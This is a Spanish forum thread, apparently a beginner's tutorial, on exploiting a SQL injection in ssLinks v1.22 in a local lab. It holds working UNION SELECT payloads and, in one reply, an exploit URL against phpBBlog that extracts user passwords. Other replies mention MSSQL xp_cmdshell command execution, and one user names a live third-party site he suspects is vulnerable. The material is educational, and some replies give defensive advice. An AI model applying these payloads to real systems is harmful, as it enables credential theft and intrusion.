Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: Ertai en 27 Septiembre 2006, 23:33 pm



Título: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Ertai en 27 Septiembre 2006, 23:33 pm
Atacando a una aplicación real. El como y el porque de las inyecciones SQL.

Prefacio

Este artículo tiene como objetivo, hacer saber al lector, que es lo que pasa exactamente dentro de la aplicación cuando hacemos una inyección SQL. De esta manera, pretendo evitar que el lector haga simples copy&paste para atacar a una web y que en algún momento tenga los conocimientos necesarios para poder modificar la sentencia a su antojo.

El programa que atacaremos [ssLinks v1.22 - http://scripts.incutio.com/sslinks/] contiene una vulnerabilidad encontrada por SirDarckCat el día 4 de septiembre del 2006.

Nivel

Principiante.

Herramientas necesarias

  • Bloc de notas o editor de texto.
  • Servidor web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una cuenta en un hosting gratuito o montarte tu propio servidor web)
  • ssLinks v1.22 - http://scripts.incutio.com/sslinks/sslinks-v122.zip
  • Ganas de aprender  ;D

Montando el escenario

Primero extraemos todos los ficheros del archivo zip dentro de nuestro servidor local o los subimos a nuestra cuenta de hosting. Lo mismo da, lo importante es poder ejecutar el programa desde un navegador web.

(http://img226.imageshack.us/img226/6391/1ao9.jpg)

Una vez extraídos o subidos, abrimos desde el navegador el archivo install.php. Veremos algo parecido a lo siguiente:

(http://img434.imageshack.us/img434/9325/2zl2.jpg)

Aquí debemos introducir nuestros datos de la base de datos. Si teneis una cuenta de hosting, estos datos os habrán llegado por mail o los tendreís en vuestro panel de administración. Si, en cambio, teneis un servidor local, estos datos los tendríais que saber  :P

Nota: Si por cualquier razón, a alguien no le funciona el install.php, aquí os dejo los 3 pasos que tendreis que hacer a mano.

Ejecutar estas dos sentencias SQL desde un interprete para MySQL o desde el phpMyAdmin.

Código:
CREATE TABLE sslinkcats (
   lcat_id int(11) NOT NULL auto_increment,
   lcat_cat int(11) DEFAULT '0' NOT NULL,
   lcat_name varchar(100) NOT NULL,
   lcat_header text,
   lcat_ranking int(11),
   lcat_numlinks int(11) DEFAULT '0' NOT NULL,
   PRIMARY KEY (lcat_id)
)

Código:
CREATE TABLE sslinks (
   link_id int(11) NOT NULL auto_increment,
   link_cat int(11) DEFAULT '0' NOT NULL,
   link_name varchar(100) NOT NULL,
   link_url varchar(255) NOT NULL,
   link_desc text,
   link_hits int(11) DEFAULT '0' NOT NULL,
   link_totalrate int(11),
   link_numvotes int(11),
   link_dateadd int(11),
   link_addemail varchar(255),
   link_addname varchar(100),
   link_validated char(3),
   link_recommended char(3) DEFAULT 'no' NOT NULL,
   PRIMARY KEY (link_id)
)

Y por último, cambiar estas líneas del archivo global.inc.php:

Código:
// mySQL database Host / Name / Username / Password

$db_host = "localhost"; // Your mySQL server host address
$db_name = "sslinks"; // The name of the database to use
$db_user = "username"; // Your mySQL username
$db_pass = "password"; // Your mySQL password

Más adelante nos pedirá el nombre de usuario y el password que queremos para ssLinks. Si no habeís usado el instalador, dejadlo, porque al ser una aplicación de prueba, dejaremos estos dos valores por defecto.

Una vez instalado todo, podemos borrar tranquilamente el archivo install.php y entramos en el links.php.
Veremos algo así:

(http://img508.imageshack.us/img508/8466/3uv3.jpg)

Si vamos a Admin Login nos salen unos valores por defecto, los aceptamos si no hemos usado el instalador, y si no, introducimos los que pusimos.

Igualmente estos datos se pueden encontrar en el archivo global.inc.php

Código:
// Admin username / password for the script

$admin_user = "Admin"; // This is the username used to log in as an admin
$admin_pass = "sslinks"; // This is the password used to log in as an admin

Una vez loggeados como administradores, veremos un panel para agregar categorías y links. Nosotros agregaremos 3 links diferentes para hacer las pruebas.

(http://img517.imageshack.us/img517/4052/4pv4.jpg)

Ok. Perfecto. Logout y tenemos el escenario montado  :D

Antes de empezar hacer varios clicks sobre el primer link que hayais puesto (ID=1), para ver luego el ataque final. (lo veremos más adelante)

El ataque

Empezemos lo divertido  :D

Antes que nada miremos lo primero de todo. Los links, no redireccionan a la página directamente sino que pasan por la misma página otra vez con un argumento "go".

(http://img517.imageshack.us/img517/7212/5qz4.jpg)

Lo veis? Este link nos envia a links.php?go=ID donde cada link tiene su ID. Así mismo, es de imaginar la estructura del programa:

Link a la página -> Llegamos al mismo sitio pero con el argumento go -> Nos lleva a la página que pertenece el ID.

De esta manera, el programa puede llevar unas estadísticas sobre los clicks que se han hecho al link en questión.

Pues bien, miremos primero de todo si la variable go es vulnerable.

Abrimos el archivo links.php:

Código:
<?php
/***********************************************************
*
* ssLinks v1.1 - a PHP / mySQL links management system
* (c) Simon Willison 2001
* For more information, visit www.tfc-central.co.uk/sslinks/
*
***********************************************************/

// See global.inc.php for changes since version 1.0.

include("global.inc.php"); //Change this if global.inc.php is in a different directory

// You should not need to change anything below this line.

$admin = is_admin();
$return = numlinks_array(); // Build array of number of links in each category
$numlinks = $return[0];
$numlinkstree = $return[1];

if ((!$cat) && (!$go) && (!$action))
$cat = 0;

if (isset($go))
{
jump_to($go);
}

if ($action == "login")
{
if ($username)
login($username, $password);
}

...

?>

Ahora toca pensar como una máquina  :-*

Ok, como podeis ver, en la línea 24, pone if(isset($go)). Expliquemos un poco esto. La función isset() devuelve true cuando la variable que le pasamos como argumento esta declarada. Como hemos visto que el programa pasaba como argumento la variable "go", es evidente que la función isset devolverá, en este caso, true. Con lo que nos queda que la variable $go, será enviada a una función jump_to().

Si os fijais, la función jump_to() no está declarada en links.php, por lo tanto ha tenido que ser incluida, cosa que podemos ver en la línea 12...

Código:
include("global.inc.php");

Pues nos toca buscar esta función en tal archivo.

Abrimos el archivo global.inc.php y... sorpresa!

En la línea 543 encontramos la función!

Código:
<?php
function jump_to($id)
{
// redirect user to URL of $id and increment the hit counter
global $db_host, $db_name, $db_user, $db_pass;
$cnx = mysql_connect($db_host, $db_user, $db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name, $cnx)
or custom_die("Unable to select database.");
$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num = mysql_num_rows($result);
if ($num == 0)
{
header("Location: links.php");
exit;
}
while ($row = mysql_fetch_array($result))
{
$hits = $row["link_hits"];
$url = $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
header("Location: $url");
exit;
}
?>

Y una breve explicación de lo que hace (redirect user to URL of $id and increment the hit counter).

Excelente! Es justo lo que habíamos deducido: la variable go llega al archivo, se consulta a la base de datos que URL esta asociada a tal ID, y nos redirije a ella, despues de haber incrementando el contador.

Nota: Ahora en la función, la variable $go cambia de nombre por la cabecera de la función y pasa a llamarse $id. Esto no nos afectará...

Impresionante! Hemos encontrado nuestro primer bug!! Lo veís todos? Si, si...

Código:
$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");

La variable $id se pasa como sentencia SQL sin estar limpiada!!

Ok, antes de continuar, haremos tres cosas básicas. Supondremos que en nuestro servidor tenemos las magic_quotes desactivadas, por que en caso contrario sería imposible inyectar código.

La segunda será imprimir en pantalla la sentencia SQL, y la tercera anular los header, para que no nos redirija a ningún lado  (de momento)

Para ello, modificar la función de tal manera que quede así:

Código:
<?php
function jump_to($id)
{
        $id = stripslashes($id);
// redirect user to URL of $id and increment the hit counter
global $db_host, $db_name, $db_user, $db_pass;
$cnx = mysql_connect($db_host, $db_user, $db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name, $cnx)
or custom_die("Unable to select database.");
echo "SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'";
$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num = mysql_num_rows($result);
if ($num == 0)
{
//header("Location: links.php");
exit;
}
while ($row = mysql_fetch_array($result))
{
$hits = $row["link_hits"];
$url = $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
//header("Location: $url");
exit;
}
?>

Lo que hemos hecho es lo siguiente. Con la función stripslashes() evitamos el efecto de las magic_quotes sobre la variable $id y más adelante imprimimos simplemente la consulta SQL antes de enviarla al MySQL. Además comentamos los headers para poder ver el efecto que tiene nuestro ataque, porque sino nos redirije.

Perfecto... Empezemos a hacer pruebas!

En nuestro navegador escribamos...

Código:
http://localhost/sslinks-v122/links.php?go=ertai r00lz XD

Y que sale?

Código:
SELECT link_url, link_hits FROM sslinks WHERE link_id = 'ertai r00lz XD'

Esto es la consulta SQL que hemos enviado. Como veis la variable no ha sido limpiada. Y aquí esta el bug.

Que significa no limpiar la variable? Pues en este caso el programador esperaba recibir un número, pero nosotros como "curiosos" le enviamos una cadena de texto y el programa no se queja. Nuestro objetivo es enviar una cadena de texto que sea capaz de sacar datos de la base de datos. Y en eso consisten las inyecciones SQL.

Un poco de SQL...

Podría escribir páginas enteras hablando de SQL pero se que aburre y la gente quiere algo práctico.

Pues bien, (casi) toda inyección comenza con un UNION. Porque? Porque nosotros sabemos que podemos insertar código a traves de la variable go. El resto de la instrucción SQL no es modificable, por lo tanto, tendremos que adaptarnos nosotros a ella. Por eso el uso de UNION. Union "concatena" por así decir los resultados de diferentes instrucciones SQL.

Supongamos que nuestra aplicación, funcionando normalmente, esta preparada para UN SOLO RESULTADO. Porqué? Porque en condiciones normales, solo hay un ID, que devuelve la URL a la cual queremos ir (el link) y NO mas resultados.

Por eso, nosotros tendremos que hacer que la SQL original (la primera) NO de resultados (-¡pero tampoco error!-) y que la nuestra inyectada devuelve UN resultado y así en el código todo cuadrara.

Además, el número de campos para seleccionar en nuestra consulta inyectada debe ser el mismo, ya que el resource devuelto (el resultado) ha de ser "quadrado".

(http://img235.imageshack.us/img235/4042/6iy9.jpg)

P: Como hacemos que la consulta primera no de resultado ni error?
R: Pues cojemos un ID imposible, como -1 (menos uno)

P: Como cojemos nuestros datos?
R: Pues para mostrar como funciona esto, cojeremos como ejemplo los hits del ID=1.

P: Pero si los hits del ID=1 es solo un campo, y necesitamos dos.
R: Cierto, así que usaremos un pequeño truco  :P

Manos a la obra:

Código:
SELECT link_url, link_hits FROM sslinks WHERE link_id = 'AQUI PODEMOS INYECTAR'

Ok, hacemos el UNION SELECT y cojemos el campo hits de la misma tabla.

Código:
SELECT link_url, link_hits FROM sslinks WHERE link_id = '-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1'

Ahora esta claro, no? Le decimos que coja los datos del -1, lo cual devolverá un resultado vacío porque no existe el -1, y pasara al UNION... si os fijais, el primer campo link_hits corresponde al link_url de la primera, para que nos redirija a una URL que no será ni nada mas ni nada menos que los hits del id = 1. El segundo campo, cojemos otra vez los hits, para cuadrar con la primera instrucción SQL.

Por lo tanto, si extraemos la SQL inyectada del trozo inyectable de la primera queda que lo que hemos de poner entre los '' es lo siguiente:

Código:
-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1

Si os fijais bien, faltan la primera comilla del -1 y la ultima del 1, eso es para que cuadre con las que hay en la sentencia SQL original.

Si todo va bien, nos intentara llevar a una URL que resultara ser el número de visitas del ID=1. Para eso, quitad las // (doble barras) que habíamos puesto delante de los dos header() dentro de la función y guardad, el resto de modificaciones dejadlas. Los headers harán que nos redirijan.

Por lo tanto, escribid en vuestro navegador:

Código:
http://RUTA_DONDE_TENGAIS_SSLINKS/links.php?go=-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1

Y como veis nos intenta llevar a:

Código:
http://RUTA_DONDE_TENGAIS_SSLINKS/numero

... donde numero es el numero de visitas del link con ID=1.

Podeis hacer más visitas reales y luego volver a inyectar y vereis como el numero sube, porque son los hits.

Ahora esto no tiene mucha lógica, pero imaginaos si en vez de sacar el numero de hits, nos redijiera al hash del password del admin. La cosa cambia, no? jeje.

Pues eso es todo. Espero poder tener tiempo para ir modificando todo y hacerlo más claro, aunque creo que si os poneis lo acabareis sacando.

Recordad que podeis postear cualquier duda, pero intentad antes resolverla por vuestra cuenta. Si habeis leido el texto bien, os habreis dado cuenta de que el hacking es también astucia e imaginación, saber encontrar el truco donde nadie lo habría pensado. Por eso no es nada mecánico, y la única manera de poder sacar las cosas solo, es intentarlo e intentarlo e intentarlo, hasta agotar las ideas y luego preguntar.

Agradecimientos

A todo el staff de elhacker.net, aquellos que están y los que estuvieron.

Y gracias a vosotros por haber llegado hasta esta última linea.

Un saludo,
Ertai
---edit---
imagenes de imageshack regresadas :P


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: sirdarckcat en 28 Septiembre 2006, 04:31 am
juaz usaste mi bug xD

esta muy completo :P (hasta dibujitos le pusiste!)
Lo voy a agregar a la biblioteca, y las imagenes las subo como anexas (para que siempre esten ON)

Saludos!!


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Ertai en 28 Septiembre 2006, 21:00 pm
Gracias Sdc, eso es porque un día me puse a explotar los bugs que ibas encontrando  :P


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Azielito en 28 Septiembre 2006, 23:48 pm
am..., tengo una duda muy general de inyecciones SQL, hasta que grado puede afectar este tipo de ataques?
se puede hacer un
SHUTDOWN?
un cambio de contraseña del MySQL Server?
un DROP?

Estoy de acuerdo que depende de los permisos del usuario con el que te conectas, pero y si es 'root' ?


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: sirdarckcat en 29 Septiembre 2006, 00:30 am
Azielito

en PHP pues.. DROP, solo si se ejecuta en ciertos contextos, pero si usas el tipico mysql_connect, mysql_query("SELECT etc.. no puedes hacer DROP

el cambio de password, y demas, denuevo, en PHP, si lo ejecutas con privilegios de root, en ciertos escenarios tambien seria posible.

con decirte, que puedes manipular archivos, ya debes de ver la peligrosidad de ejecutar como root un server mysql.

la opcion, es correr las cosas con los minimos privilegios posibles..

incluso llegue a leer que hagas un usuario para leer, otro para escribir, otro para modificar, etc.. de esta forma a un atacante le seria muy dificil hacer demasiado daño. (pero.. la verdad me daria flojera hacer 3 usuarios por tabla)..

la sugerencia final, es que si vas a ejecutar un server mysql, lo hagas sin ser root.

ademas, si es MSSQL. pues debes tener mucho cuidado, ya que ahi, si puedes ejecutar comandos de consola de forma extremadamente facil, si tienes los privilegios.

Saludos!!


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Azielito en 29 Septiembre 2006, 00:47 am
amm... ok, pero, valdria la pena hacer por lo menos dos usuarios, uno para el portal que seria solo SELECT y otro para el panel de administración [DROP,UPDATE e INSERT]

creo recordar algun comando de excecute o algo asi para MSSQL, no recuerdo bien :P pero si que


Hablando de DROPS, un gran gran bug de la página de el señor AMLO fue explotado por un 'amigo' que todos conocemos xD y hacia un DROP, al menos eso es lo que el 'amigo' decia, jamas fui a probarlo :P

supongo que de haber existido estaba bajo esas "condiciones" para poder ejecutar un DROP xD

por cierto, como deberia ser para hacer un DROP? alguna consulta de eliminacion de registro?
tendre que estudiar mas sobre SQL :P


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: sirdarckcat en 29 Septiembre 2006, 01:26 am
DROP TABLE nombre de tabla

la que redpoint exploto en la pagina del peje, fue un DROP, pero en un server plsql, que es diferente..

en MSSQL para ejecutar es:

exec master..xpcmdshell comando

Saludos!!


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Alesiter en 2 Octubre 2006, 16:45 pm
alguien puede revisar porfavor el post ,las imagenes no se muestran ,sera q solo me pasa a mi o esta asi,porfavor revisenlo


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Ertai en 2 Octubre 2006, 19:42 pm
A mi a veces tambien me pasa...

Es porque Sdc cambió las imagenes y las colgó, pero yo lo encuentro incómodo...  :-\

Saludos.


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: el-brujo en 2 Octubre 2006, 20:15 pm
el problema es que las imágenes adjuntas sólo las pueden ver los miembros registrados y sería mejor linkearlas a otro sitio para que todo el mundo pueda verlas.


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Alesiter en 3 Octubre 2006, 03:34 am
el nombre de  usuario y contraseña de la segunda imagen son el mismo nombre de  usuario y contraseña que se pone al instalar el appServ?
En data Base Host es el que esta? osea dede donde se accede al appServ?
Data Base Name pongo la nueva base de datos que voy a crear? porfavor esa parte no le entiendo muy bien
Citar
Servidor web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una cuenta en un hosting gratuito o montarte tu propio servidor web)
Donde consigo uno ,alguien puede ayudarme?


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: s0cratex en 3 Octubre 2006, 04:56 am
Aquí otro ejemplo...

Script: PHPBBlog 1.0.1
Descripción: Modulo para los foros PHPbb

************************************************
* http://mods.phpbbfrench.com/phpBBlog_FR_v1.0.1.zip 
************************************************

Archivo:
blog.php

El problema
Línea 34: Se crea un switch para la variable "perform"
Código:
switch($perform)

Línea 80: Si "perform" es igual a "edit"...
Código:
case 'edit':

Línea 92: La variable "id" es recibida por el script...
Código:
$id = (isset($HTTP_POST_VARS['id'])) ? $HTTP_POST_VARS['id'] : $HTTP_GET_VARS['id'];

Linea 94: Se ejecuta la siguiente sentencia SQL...
Código:
$sql = "SELECT text FROM " . BLOG_TABLE . " WHERE id = $id LIMIT 1";

Pero la variable "id" nunca es comprobada por lo que la aplicacion se considera vulnerable a SQL Injection...

Exploit:
http://localhost/phpBB2/blog.php?perform=edit&id=1%20union%20select%20user_password%20from%20phpbb_users/*

Ni me molesto en publicar este exploit porque para poder ejecutarlo tengo que ser administrador del blog. Claro sirve para ver el username y password de el primer usuario del foro, quien suele ser el Administrador/God...jeje en fin el objetivo era dar un ejemplo más...bye

(http://img366.imageshack.us/img366/9104/examplesqlnf0.th.png) (http://img366.imageshack.us/my.php?image=examplesqlnf0.png)





Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Ertai en 3 Octubre 2006, 15:37 pm
el nombre de  usuario y contraseña de la segunda imagen son el mismo nombre de  usuario y contraseña que se pone al instalar el appServ?
En data Base Host es el que esta? osea dede donde se accede al appServ?
Data Base Name pongo la nueva base de datos que voy a crear? porfavor esa parte no le entiendo muy bien
Citar
Servidor web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una cuenta en un hosting gratuito o montarte tu propio servidor web)
Donde consigo uno ,alguien puede ayudarme?

Si te has instalado el Appserv y no has tocado nada, los datos son los siguientes:

Host: localhost
Usuario: root
Password: (vacio)
Database: elnombrekelepongascuandolacreas

Y hosting no te hace falta entonces...

Saludos! Fijate que puedes modificar el archivo en vez de seguir los pasos del instalador... Lee un poco más abajo!  ;)

Saludos!


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Alesiter en 3 Octubre 2006, 16:32 pm
Citar
Si te has instalado el Appserv y no has tocado nada, los datos son los siguientes:

Host: localhost
Usuario: root
Password: (vacio)
Database: elnombrekelepongascuandolacreas
el password del mio tambien es root, pongo ese?
Citar
Y hosting no te hace falta entonces...
pero en el tutorial dice q debo tener alguna cuenta para ospedar los php


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Ertai en 3 Octubre 2006, 19:09 pm
Si cambiaste los datos, ponle los que pusiste.

La cuenta de hosting es solo por si no tienes un servidor local.


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Alesiter en 3 Octubre 2006, 22:36 pm
Citar
La cuenta de hosting es solo por si no tienes un servidor local.
como se si tengo un servidor local? yo lo quiero hacer desde mi casa ,desde mi pc, no esta en red ni nada


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: byebye en 3 Octubre 2006, 22:41 pm
Citar
como se si tengo un servidor local? yo lo quiero hacer desde mi casa ,desde mi pc, no esta en red ni nada

tu sabras si tienes instalado un servidor web. no hace falta que este en red, si instalas un servidor web en tu ordenador solo tienes que ir a http://localhost y ahi tienes tu pagina o lo que quieras poner.


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Alesiter en 4 Octubre 2006, 03:26 am
el http:\localhost si funciona en mi maquino ,creo q se habilito al instalar el appServ, entonces ahi tambien puedo ospedar mis php?
pero eso solo lo uso para hacer bases de datos


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: sirdarckcat en 4 Octubre 2006, 03:41 am
si, de hecho con appserv ya tienes mysql.

Saludos!!


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Alesiter en 6 Octubre 2006, 20:54 pm
hola ,soy novato en esto ,pero tengo muchas ganas de aprender y espero me tengan un poco de paciencia
como abro el archivo installl.php del zip que me baje ,cuando hago doble click me habre el dreamwaver ,que programa necesito? dicen q lo abra desde el navegador ,cual navegador?
Citar
Ejecutar estas dos sentencias SQL desde un interprete para MySQL o desde el phpMyAdmin
que interprete para mySQL ?
Que programas necesito ,porfavor indiquenme
es q me confunde tantos programas q existe


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: sirdarckcat en 6 Octubre 2006, 21:39 pm
mira, baja por ejemplo el AppServ ya que esta de moda xD
en htdocs deja los archivos, y pon los datos de mysql.

despues lo instalas asi, entrando desde CUALQUIER navegador (Firefox, IExplorer, etc..):
http://localhost/install.php

Saludos!!


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Alesiter en 6 Octubre 2006, 23:48 pm
esoso archivos del zip q me baje lo puse en la carpeta www del appServ pero el problema es q me creaba una carpeta dentro la carpeta www entonces teclee esto:
http:\\localhost\sslinks\install.php y recien me aparecio la primera foto
una pregunta , la inyeccion sql sirve para hackear paginas ASP ?


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Alesiter en 7 Octubre 2006, 00:52 am
tengo un problema con el install.php
pongo:

localhost (el por defecto)
root
root
CualquierNombre

y me aparece este mensaje:
Warning: mysql_connect(): Access denied for user: 'root@localhost' (Using password: YES) in c:\appserv\www\sslinks\install.php on line 74
Unable to connect to database server.


y cuando no pongo contraseña ,se limpian los datos
que problema tengo
esos son el usarname y pass con el q instale el appServ
tambien instale el appServ sin pass ,solo con usarName y tambien aparece lo mismo ,q problema tengo?


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Ertai en 7 Octubre 2006, 12:56 pm
tengo un problema con el install.php
pongo:

localhost (el por defecto)
root
root
CualquierNombre

y me aparece este mensaje:
Warning: mysql_connect(): Access denied for user: 'root@localhost' (Using password: YES) in c:\appserv\www\sslinks\install.php on line 74
Unable to connect to database server.


y cuando no pongo contraseña ,se limpian los datos
que problema tengo
esos son el usarname y pass con el q instale el appServ
tambien instale el appServ sin pass ,solo con usarName y tambien aparece lo mismo ,q problema tengo?

Estas seguro que esa es la contraseña??

Sino, prueba directamente de cambiar los datos en el archivo global.inc.php...

Código:
// mySQL database Host / Name / Username / Password

$db_host = "localhost"; // Your mySQL server host address
$db_name = "sslinks"; // The name of the database to use
$db_user = "username"; // Your mySQL username
$db_pass = "password"; // Your mySQL password

Y los cambias aquí, así no debería haber problema.

Saludos!


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Alesiter en 8 Octubre 2006, 01:25 am
ya cambie lo que me dijiste y nada, aparece lo mismo
como instalo el appServ ,talvez estoy fallando ahi ,debo poner contraseña? de ser asi ,debe ser distinta al UserName?


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Alesiter en 8 Octubre 2006, 22:32 pm
porfavor ayudenme ,cambie de contraseña al instalar el appServ y sigue apareceiendome ese mensaje , y tambien cambie el archivo global.inc.php y puse los datos directamente y nada ,sigue apareciendo ese mensaje ,que hago?


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Alesiter en 11 Octubre 2006, 17:06 pm
ya installe y configure correctamente el apache ,php mysql y phpmyadmin ,pero q deberia aparecerme al colocar mis datos en el install.php del sslinks?
osea pongo mis datos y aparece en la misma page ,se limpian los datos y aparece de nuevo el install.php en q estoy fallando?
tambien borre los usuarios por defecto q crea el phpmyadmin ,y solo tengo ahora el q me cree
porfavor alguien puede ayudarme?


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Alesiter en 12 Octubre 2006, 00:10 am
ya hice funciona el install.php ,en realidad no me funciono ,sino lo q hice fue los 3 pasos manuales q hay q hacer con sql ,pero ahora
ahora ya se abre el archivo links.php sin mostrarme ningun error ,pero ahora tengo otro problema
los links q hay no hacen nada ,osea no funcionan hago click en cualquiera y solo carga ,pero me sigue mostrando la misma pantalla ,no me llevan a ningun lado ,q problema es el q tengo? porq no me funciona ninguno de esos links?
Links Home | Search Links | New Links | Popular Links | Top Rated | Admin Login


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Alesiter en 14 Octubre 2006, 20:42 pm
porffavor alguien sabe porq no me funciona los links q tiene el archivos link.php? osea hacgo click en cualquiera de los links y no me muestra nada


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: ramzax200 en 3 Noviembre 2006, 11:59 am
En el tutorial dice que pongamos stripslashes() en el codigo, pero que pasa si no existe esa funcion en el codigo? el bug que mensionaron en el phpbb2 ¿El codigo contiene stripslashes() ??


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Ertai en 3 Noviembre 2006, 20:05 pm
En el tutorial dice que pongamos stripslashes() en el codigo, pero que pasa si no existe esa funcion en el codigo? el bug que mensionaron en el phpbb2 ¿El codigo contiene stripslashes() ??

La función sirve para simular un servidor que no tuviera las magic_quotes activadas.

Tal como hacemos la inyección, el servidor con las magic_quotes activadas pondrá una barra invertida ( \ ) delante de la comilla simple ( ' ).

La función stripslashes() hará el efecto contrario, anulando así el efecto de las magic_quotes, al fin y al cabo, esto es una prueba de concepto... Pero ¡ojo! sigue siendo un bug  ;)

Saludos.


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: ramzax200 en 7 Noviembre 2006, 10:55 am
no pos ta cañon que un servidor tenga magic_quotes desactivadas ya que eso viene por default en On no?


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Ertai en 7 Noviembre 2006, 23:48 pm
no pos ta cañon que un servidor tenga magic_quotes desactivadas ya que eso viene por default en On no?

No.

A partir de PHP 5 ya si.


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Casidiablo en 7 Noviembre 2006, 23:59 pm
A mi no me funciona el UNION. Ni desde el navegador, ni desde la consola de mysql. Que hago???


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Ertai en 8 Noviembre 2006, 00:31 am
Te sale algun error?


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Casidiablo en 8 Noviembre 2006, 00:56 am
Por ejemlpo:

Código:
ERROR 1064: You have an error in your SQL syntax near 'union select * from carrera' at line 1

Saludos!!!


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Ertai en 8 Noviembre 2006, 09:49 am
Y pon tambien lo que le metes a la URL para que de ese error, sino es imposible ayudarte.

El error SQL es el típico genérico.

Si quieres el error más detallado puedes modificar el código para que te imprima la sentencia SQL y meterla en el phpMyAdmin, que da errores más precisos.

Saludos y postea lo que inyectas.


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: cazanova en 17 Diciembre 2006, 20:42 pm
wenas, intente usar hosting gratuito de lycos y cuando entraba al install.php y metia los datos me salia esto

"This script will create the database tables needed by ssLinks v1.22."

ps imagino que eso debe salir, eso kiere decir que ya se creo la database no?

bueno entro al links.php y me sale esto

"An error has caused the script to terminate abruptly. Here is the error message:

Unable to connect to database server."

y no me explico por que sucede, imagino que no puede conectarse a la database delycos o algo asi

los datos del install.php que puse fueron
Database Host : localhost
Database Username : xxxxxx
Database Password : xxxxxx
Database Name : sslink

tambien probe con
Database Host : usuarios.lycos.es
Database Username : xxxxxx
Database Password : xxxxxx
Database Name : sslink

igual probe con el AppServer y al iniciar el links.php me aparecia un error de que no encontraba ciertas cosas o algo asi y bueh..me rendi xD

alguien que me ayude? D:


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: jankoitt en 14 Diciembre 2007, 07:05 am
buena explicacion soy principiante y tengo algunas dudas.. como sabes que tipo de base de datos esta corriendo el host remoto? Otra cosa seria como sabes las tablas a las cuales debes llamar sin haber visto el source de las aplicaciones y las variables por ejemplo.. anduve buscando por ahi y encontre una web que creo y es vulnerable ya que al intentar poner el -1 o letras en la variable ?cod_art= no me devolvio ningun error... aqui el link: http://www.tucelular.com.do/ver_articulo.php?cod_art=501 salu2


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: Net_Runner en 13 Agosto 2008, 05:04 am
Hola, se que es un post viejo, disculpen si es inapropiado revivir este post.

Estoy trabajando en este tema, llevo varios días buscando información y recreé el escenario propuesto.

Me asalta la gran duda de por qué un scanner como acunetix (versión 4) no lo reporta como SQL injectión, sino como XSS.

Me gustaría saber si existe la posibilidad de que alguien me diga como sería posible recrear este u otro escenario similar de forma que aparezca como vulnerable a injección SQL en un escanner.

Gracias de antemano!


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: viruss1362 en 15 Agosto 2008, 00:24 am
Azielito

